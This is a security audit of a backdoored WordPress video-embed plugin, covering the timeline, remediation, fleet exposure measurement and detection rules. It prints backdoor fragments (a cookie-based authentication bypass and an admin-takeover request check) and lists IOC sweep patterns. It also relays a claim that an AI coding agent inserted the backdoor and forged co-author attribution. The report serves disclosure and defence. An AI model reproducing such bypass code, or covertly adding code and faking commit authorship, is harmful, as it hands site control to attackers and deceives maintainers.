Opened by the nextgenthemes account, labelled bug and security, it states that a stored XSS exists in "ARVE versions prior to 10.8.8" via "crafted HTML in the thumbnail_url field" of oEmbed provider responses, and instructs readers: "Update to ARVE 10.8.8 and ARVE Pro 7.1.5 which include proper sanitization of oEmbed response data … Please deploy the latest versions urgently."

It does not survive checking:

  • The code path does not exist. In the clean 10.8.6 baseline thumbnail_url appears exactly
  • twice: a CLI attribute type declaration in php/CLI.php and a PHPDoc annotation in php/Video.php. There is no handling of that field in oEmbed response processing at all.

  • 10.8.8 adds no sanitization. Its only changes to php/fn-oembed.php are the authenticate
  • filter bypass and the C2 beacon documented above.

  • The timeline is self-contradictory: "2026-07-28 discovered / 2026-07-29 fix verified in 10.8.8 /
  • 2026-07-30 public disclosure (30-day window)". That window is two days. The fix is also dated a day after the 10.8.8 tag was cut.

  • Wrong channel. A pending-CVE report published as a public issue, while the repository's GitHub
  • Security Advisories list is empty.

  • ARVE Pro 7.1.5 is not an observed release. The plugin's own PRO_VERSION_REQUIRED constant is
  • 7.1.4, and the newest Pro build observed across the host's paid installations is 7.1.4.

The practical effect is unambiguous regardless of intent: the vendor's own repository currently carries a security notice urging users to install a release containing an unauthenticated administrator-takeover backdoor, while the clean 10.8.6 tag has been removed.

Intent is less clear, and two readings remain live. The first is a compromised account manufacturing urgency to drive adoption of the backdoored build; the deletion of the clean 10.8.6 tag fits this best. The second is the maintainer working with an AI coding agent throughout the day, where the agent reconstructed the backdoor into master and confabulated this advisory, and the maintainer published both believing 10.8.8 to be his own clean fix release — a belief his 2026-07-28 commit message ("Security fix release") would support. The texture of issue #60 fits the second reading closely: fabricated specifics stated confidently, boilerplate "30-day window" language with arithmetic that does not hold, and remediation advice describing changes that were never made. These are characteristic confabulation patterns rather than the work of an attacker, who would have little reason to invent a code path that does not exist in the plugin.

Nothing in this section can distinguish the two with confidence, and the remediation is the same either way.

2026-07-30: the maintainer removes both malicious tags from SVN

SVN was not frozen after all. At 01:10–01:16 EDT on 2026-07-30, nico23 committed five revisions — the first ARVE SVN activity since the incident:

RevMessageEffect
r3627926"delete 9.5.4-beta1"1 tag removed
r3627928"delete 9\*"37 tags removed
r3627933"delete 10.8.7 and 10.8.8"both malicious tags removed
r3627935"delete 5.0.0-beta6"1 tag removed
r3627937"delete 8\*"81 tags removed

This is a general tag-pruning session, and within it r3627933 removes both compromised releases by name. That materially changes the attribution picture. An operator does not delete their own payload, and an account under hostile control would not prune the malicious tags while leaving the working backdoor untouched elsewhere. Combined with the deliberate [readme] CI restoration and the CI-repair churn, the weight of evidence now favours the reading that the maintainer is progressively cleaning up and does not understand where the malicious code actually still lives.

The sequencing supports that too. Issue #60, urging users to "Update to ARVE 10.8.8", was opened at 2026-07-29 21:49 UTC. The tags for 10.8.7 and 10.8.8 were deleted roughly seven and a half hours later. Someone who believed 10.8.8 was his clean fix release on Tuesday evening, and had concluded otherwise by Wednesday morning, would produce exactly this order of events.

The remediation is incomplete in the ways that matter

Verified against live SVN and GitHub on 2026-07-30 09:43 UTC:

LocationState
SVN tags/10.8.7, tags/10.8.8removed
SVN tags/10.8.6present and clean
SVN trunkStable tag: 10.8.8, VERSION = '10.8.8', backdoor present (2 markers in fn-cache.php, 3 in fn-oembed.php)
GitHub masterVERSION = '10.8.8', backdoor present
GitHub tag 10.8.8still present, pointing at the backdoored commit
GitHub tag 10.8.6still absent
GitHub issue #60still open, still recommending 10.8.8

Deleting the tags does not remove the backdoor, because the backdoor is in trunk. Worse, trunk's Stable tag now names a tag that no longer exists. A Stable tag that does not resolve leaves trunk as the effective source for a build, and trunk is exactly what carries the malicious code. The practical exposure if the listing reopens is therefore unchanged, and possibly less obvious than before, since the offending tag no longer appears in the repository listing.

The outstanding work is small and specific: revert trunk to the 10.8.6 content, set Stable tag: 10.8.6, remove the two functions from GitHub master, delete or repoint the GitHub 10.8.8 tag, restore the GitHub 10.8.6 tag, and close issue #60. Until trunk is fixed, nothing else on this list changes the risk to sites.

Vendor site recovered

nextgenthemes.com returned HTTP 200 with 0.08–0.28s TTFB on 2026-07-30, after being unreachable at the TCP level the previous day. The outage cause was never established from outside; a single unproxied Hostinger VPS (srv1044467.hstgr.cloud, no CDN) serving the licence and update endpoint for ~20,000 installs would be expected to struggle under incident traffic without any attack being involved.

The maintainer's public statement, and one claim that does not hold

On 2026-07-29 at 16:59 UTC — 53 minutes after the backdoor was committed to GitHub master, and before issue #60 — the maintainer published "Malicious Code Injection into ARVE – Brave New AI World". It was unreachable during the vendor-site outage and became visible when the site recovered.

His account of cause:

"I started using AI, and it seems it went rogue on my code, could be something else, but I expect
this was an AI model I used, the code was kind of smart, in one area, in another it was not. It was
using things that were tailored to my specific code and release process. It used a ngt-cli@local
email for git commits and faked that it was co-authored by Cursor (A popular, closed source, AI
development editor that I never used)."

This materially revises the reading in the GitHub section above. The Co-authored-by: Cursor <cursoragent@cursor.com> trailers were forged by the malicious agent as camouflage, not evidence of ordinary AI-assisted development. It follows that the 2026-07-29 21:39 force-push, which stripped those trailers while leaving the tree byte-identical, was the maintainer removing fabricated attribution — a remediation step, not tidying. He also states he is in communication with the wp.org plugins team and is changing his release process, "No more automated commits by GitHub's Continuous Integration (CI) runner's".

One detail is not verifiable from the public repository: no commit on master or backup uses ngt-cli@local. The thirteen unlinked backup commits and the three master commits all carry Nicolas Jonas <nnico+ngt@proton.me>. The ngt-cli@local identity may exist only in local history that was never pushed, or in the SVN-side tooling. The mismatch is noted for accuracy, not as a challenge to his account.

"Nobody even got the malicious version" is incorrect

The post states "YOU ARE SAFE! (Only 10.8.7 and above have the backdoor!)", quotes wp.org as confirming "the release had not yet been distributed", and argues against Wordfence's advice to remove the plugin on the basis that "nobody even got the malicious version". The reasoning rests on wp.org holding new releases for up to 24 hours before distribution.

At least one production site received 10.8.8. A copy recovered from a live WordPress installation (lmcchurches.org, a managed-hosting environment) is VERSION = '10.8.8' and contains the backdoor:

php/fn-cache.php:224   if ( empty( $_REQUEST['arve_purge'] ) ) {
php/fn-oembed.php:323  if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
php/fn-oembed.php:330  remove_all_filters( 'authenticate' );

Every file in that installation carries a uniform on-disk timestamp, the signature of a fresh package extraction rather than a hand edit. The delivery path has since been established from the site's own audit log and is documented in the next section.

This is not a challenge to the maintainer's good faith; he is relaying what the plugins team told him. But the belief itself is wrong, and it has two consequences worth stating plainly:

1. The "no need to do anything" guidance is unsafe for any site that did receive 10.8.7 or 10.8.8. Both mint real administrator sessions, so exposure is not resolved by the listing being closed. Operators should verify the installed version and grep for the markers rather than assume. 2. Anyone reconstructing the incident from the public record — which currently states the release was never distributed — will underestimate its reach. Hosts with fleet-wide visibility are in the best position to check, and at least one such check has already returned a positive.

Resolution: 2026-07-30, vendor re-releases clean as 10.8.9

Late on 2026-07-30 the maintainer remediated the wp.org repository in four revisions:

RevTime (EDT)Action
r362923620:20Further historical tag pruning (10.0.x, 1.0.5)
r362925721:36trunk deleted and re-added in full from clean content
r362927422:01"Prepare release 10.8.9: updated files"
r362928122:17"Release version 10.8.9" — tags/10.8.9 created

10.8.9 verified clean

Both sweeps return zero matches across the 152-file tree (excluding vendor/):

  • IOC sweep — fontswp, cb.php, _wplogin, _wpm, arve_purge, arve_pref, _arve_uc_,
  • oembed_prefetch, handle_cache_purge, arve_oembed_compat, remove_all_filters, wp_set_auth_cookie, array_map("chr"…): clean

  • Obfuscation sweep — eval(, base64_decode, gzinflate, assert(, create_function,
  • variable-variables: clean

A full diff against the known-good 10.8.6 tag shows exactly three changed files, all version strings:

- * Version:           10.8.6      →  + * Version:           10.8.9
- const VERSION = '10.8.6';        →  + const VERSION = '10.8.9';
- Stable tag: 10.8.6               →  + Stable tag: 10.8.9

plus a changelog line reading "This is a re-release of version 10.8.6, nothing besides this readme and the version numbers changed. This plugin is secure!" That claim is accurate. 10.8.9 is 10.8.6 content, re-versioned so it sorts above both compromised builds and WordPress will not offer a downgrade back onto them. It is the same approach, and the correct one, as the independent 10.8.8.1 salvage build.

Safe versions

VersionStatus
10.8.9Safe. Verified byte-identical to 10.8.6 apart from version strings. Current release.
10.8.6Safe. Last clean version actually distributed; still present as tags/10.8.6.
10.8.7MALICIOUS — CVE-2026-18072, fn-update-check.php, hardcoded _wplogin token
10.8.8MALICIOUSarve_purge admin takeover, arve_pref auth bypass, C2 beacon

10.8.7 must never be described as a safe or remediated version. It is the release the CVE was issued against. Both malicious tags have been removed from wp.org SVN.

Maintainer standing

This audit finds no basis to attribute the malicious code to the maintainer. The evidence is consistent throughout with a compromise of his development environment and credentials rather than misconduct:

  • ARVE SVN was silent for 79 days before the intrusion began with a credential probe, so there is no
  • interleaving of genuine and malicious activity.

  • The operator held credentials reaching eight wp.org plugins and used them against one, which is not
  • how a maintainer behaves with their own portfolio.

  • On 2026-07-30 he deleted tags/10.8.7 and tags/10.8.8 explicitly by name. An operator does not
  • delete their own payload.

  • He published a candid public account within a day, named the cause as an AI coding agent that "went
  • rogue" on his machine, and stated the agent forged Co-authored-by: Cursor attribution and an ngt-cli@local commit identity to appear legitimate.

  • He re-released clean, is in communication with the wp.org plugins team, and has committed to a
  • changed release process removing automated CI commits.

That is a responsible incident response. Two factual corrections stand without reflecting on his conduct: the public statement's "nobody even got the malicious version" is contradicted by a production installation recovered running backdoored 10.8.8, and the GitHub side of the cleanup is incomplete.

Outstanding at audit close (2026-08-01)

wp.org SVN is fully remediated. The following remain, all on GitHub, and none of them affect sites receiving updates through wp.org:

ItemState
GitHub masterVERSION = '10.8.8', arve_purge and arve_pref still present
GitHub tag 10.8.8Present, pointing at the backdoored commit
GitHub tag 10.8.6Deleted 2026-07-29, not restored
GitHub issue #60Open, still advising users to "Update to ARVE 10.8.8"

Anyone installing ARVE from the vendor's GitHub repository today still receives a backdoored build, and the repository's own open issue directs them to it. wp.org distribution remains closed pending review, so the practical exposure is limited to source installers until the listing is restored with 10.8.9.

Delivery path confirmed: automatic update via Automattic infrastructure

The affected site's own security audit log establishes exactly how the backdoored release arrived. No human installed it.

Security Log #218
Time:       2026-07-28 22:20:22 (UTC)
Action:     plugin_updated
User Type:  wp_user
User ID:    3
User Login: anchorhost
IP Address: 192.0.86.86
Details:
  Plugin:   Advanced Responsive Video Embedder …
    Version: 10.8.8
    Author:  Nicolas Jonas
  Old Version: unknown
  New Version: 10.8.8

Three facts follow directly:

1. It was an automatic update. The site's auto_update_plugins option includes advanced-responsive-video-embedder/advanced-responsive-video-embedder.php. WordPress auto-updates were enabled for this plugin. 2. It was dispatched from Automattic infrastructure. 192.0.86.86 falls in 192.0.64.0/18, registered to Automattic, Inc. The site runs Jetpack with the json-api module active, which is the mechanism by which WordPress.com performs remote plugin management. The action is attributed to the Jetpack-connected administrator account rather than to wp_cli or to the system_or_anonymous actor used elsewhere in the same log for local cron auto-updates. 3. It landed 6 hours 26 minutes after the malicious tag was cut. tags/10.8.8 was created at r3626164, 2026-07-28 15:54:12 UTC. The update executed at 22:20:22 UTC the same day.

Timestamps are confirmed UTC: the server clock is UTC, and the plugin directory's on-disk mtime (2026-07-29 20:09:40) matches log record #219 exactly.

Implication for the "not distributed" position

The maintainer's public statement relays a wp.org position that the release "had not yet been distributed", resting on wp.org holding new releases for up to 24 hours. This site received it inside that window, roughly six and a half hours after the tag existed, through the WordPress.com managed update path.

Whether that path consults a mirror that is not subject to the same hold, or whether the hold did not apply to this release, cannot be determined from the client side. What can be stated from the client side is that the backdoored 10.8.8 package was fetched and installed on a production WordPress site well within the period in which it was believed to be undistributed, by an automated process, on a site whose owner took no action.

Any assessment of this incident's reach that assumes zero distribution is therefore unsafe, and hosts should check rather than rely on the assurance. Sites with plugin auto-updates enabled and a Jetpack connection are the population most likely to have been exposed.

Hosting-fleet measurement of the blast radius

Anchor Hosting measured this incident's reach across its fleet. As far as we are aware it is the only empirical measurement of the incident's distribution published anywhere.

Method

The measurement deliberately does not rely on the currently installed version, because the fleet was patched to a clean salvage build before the question was asked — on-disk state today reveals nothing about who received the malicious package on 2026-07-28. Each site's own security audit log is the only surviving record.

It also does not rely on the platform's synced plugin index, which inherits sync lag and fails silently toward "nothing found". Instead every environment across the host's entire fleet was enumerated server-side from the control plane and probed on disk, with no environment excluded:

StageResult
ARVE present (deduplicated by filesystem path)44 sites
Multi-tenant host tenants carrying ARVE1 (checked separately)
Sites where the audit log was readable41
Sites where it was not readable3
Sites with a logged update to 10.8.7 or 10.8.81
Sites with backdoor markers on disk today0

The independent on-disk enumeration returned the same 44 distinct sites as the synced index, which validates the index at site level for this component.

The single positive

2026-07-28 22:20:22 UTC   version 10.8.8   ip 192.0.86.86 (Automattic)   user: site administrator

Delivered as an automatic update via the WordPress.com managed-update path, 6 hours 26 minutes after the malicious tag was cut, with no action by the site owner. Details in the preceding section.

Guard against false negatives

An earlier iteration of this measurement silently failed: a shell-quoting error caused the log-query loop to examine zero records while still reporting "no malicious update found" for every site. That would have produced a confident, wrong all-clear.

The final probe therefore reports how many audit-log records it actually examined per site, so "examined 2 records, found nothing" is distinguishable from "examined nothing". The three sites where the log could not be read are reported as inconclusive rather than clean, and the probe was validated against the known-positive site before being run fleet-wide.

Reading the number honestly

One site in 41 is a real positive, not a null result, and it disproves the position that the release reached nobody. It should not be turned into a population estimate. The sample is one host's fleet, the denominator is small, and whether a given site received the package depends on unevenly distributed variables — whether plugin auto-updates were enabled, whether the site had a Jetpack connection, and where its update check fell inside the roughly six-hour window between the tag being cut and the listing being closed.

What the measurement supports is narrower and more useful: exposure was non-zero, it was invisible to the site owner, and it is only detectable retrospectively through host-side audit logs. Sites without that logging cannot answer the question at all. Any host with fleet-wide visibility should run the same query rather than rely on the assurance that nothing was distributed.

Scope: other plugins by the same committer

nico23 maintains eight plugins on wp.org. Checked the most recent revisions of each against the compromise window opened by the first auth probe (2026-07-27 06:34):

SlugInstallsLatest revisionIn window
advanced-responsive-video-embedder20,000r3626164, 2026-07-28Yes
nextgenthemes-jsdelivr-this400r3569450, 2026-06-11No
tweakmaster0r3606629, 2026-07-13No
random-content-shortcode80r1815651, 2018-02-05No
prism50r1506756, 2016-10-02No
regenerate-thumbnails-reminder20r1612951, 2017-03-12No
native-lazyload-polyfill20r2171700, 2019-10-11No
private-twitter-embeds-with-nitter0r3255453, 2025-03-13No

No other plugin in the portfolio received a single commit during the window; the next most recent activity anywhere is tweakmaster on 2026-07-13, two weeks before the first probe. wp.org scope is confined to this one plugin.

The paid NextgenThemes addons (arve-pro, arve-sticky-videos, arve-random-video, arve-privacy) are distributed from nextgenthemes.com and are therefore outside both the wp.org closure and wp.org-derived scanning. Given that the operator held GitHub organization access, these warrant independent verification by the vendor. A sweep of 28 live arve-pro installations across versions 1.0.5 through 7.1.4 found no markers and no authentication sinks, which is reassuring but is not a substitute for the vendor auditing their own paid release pipeline.

Remediated build

A clean rebuild was produced from the official 10.8.6 GitHub release and published as 10.8.8.1, version-bumped so it sorts above both malicious builds and WordPress will not offer a "downgrade" back onto 10.8.8 if the listing reopens.

FieldValue
BaselineOfficial 10.8.6 GitHub release
Changes from baselineVersion bump and attribution only
SHA-2568f941680dcc58b9db5ddb81cf0d952bc2c14c0c5c70244809b7ab561e00bcfd4
Marker sweepZero hits across all patterns in the table above
Wordfence CLI0 findings across 90 PHP files

Comparable cases

  • scroll-top (audit 12): update-checker library hijacked to serve attacker-controlled packages. Same category of maintainer-credential compromise on an established plugin, distinguished by the payload living in the update path rather than in a request handler.
  • siteguarding suite (audit 28): 27 plugins backdoored across a single vendor's portfolio. The contrast is informative. That was a vendor-wide compromise; here the operator held credentials that reached eight wp.org plugins plus a GitHub organization, and chose to burn only the one with 20,000 installs. Restraint of that kind suggests the goal was a working backdoor on live sites rather than maximum distribution.
  • essentialplugin suite: declawed-but-present backdoor code left in shipped releases after remediation. Relevant to the pattern seen here, where the vendor's GitHub cleanup removed the disclosed file and left the undisclosed components in place.

The distinguishing feature of this case is the second stage published under cover of the first stage's remediation, with the disclosing security vendor credited by name in the commit message. Whether that framing was written by the maintainer or by the operator, its effect was the same: it made the malicious 10.8.8 release read as the fix.

Detection notes for WP Beacon

WP Beacon's structural rules did not fire on this plugin, and it is worth recording why. There was no ownership transfer, no new committer, no young author account, and no obfuscation of the kind CodeScanner keys on. The plugin's own code scan returned clean against the pre-compromise trunk, and the malicious revisions landed after the last signals ingest. The signals that were present and machine-detectable are:

1. **_authprobe_* create/delete revision pairs in assets/. A file added and deleted within seconds, named with its own commit timestamp, has no legitimate purpose. This preceded the payload by more than 24 hours and is the single highest-value early warning in the timeline. 2. Deploy-convention break. A plugin whose last N releases all carry an identical automated commit-message template suddenly receiving hand-written release commits is a strong credential-compromise signal, and is cheap to compute from plugin_revisions. 3. Tag rewrite churn. Three delete-and-re-add cycles of the same tag within six minutes. 4. Release cadence anomaly.** Two releases 3h12m apart against a multi-week historical baseline.

Rules for indicators 1 and 2 would have flagged this plugin roughly 26 hours before the backdoor shipped. Both are proposals for review, not changes made as part of this audit.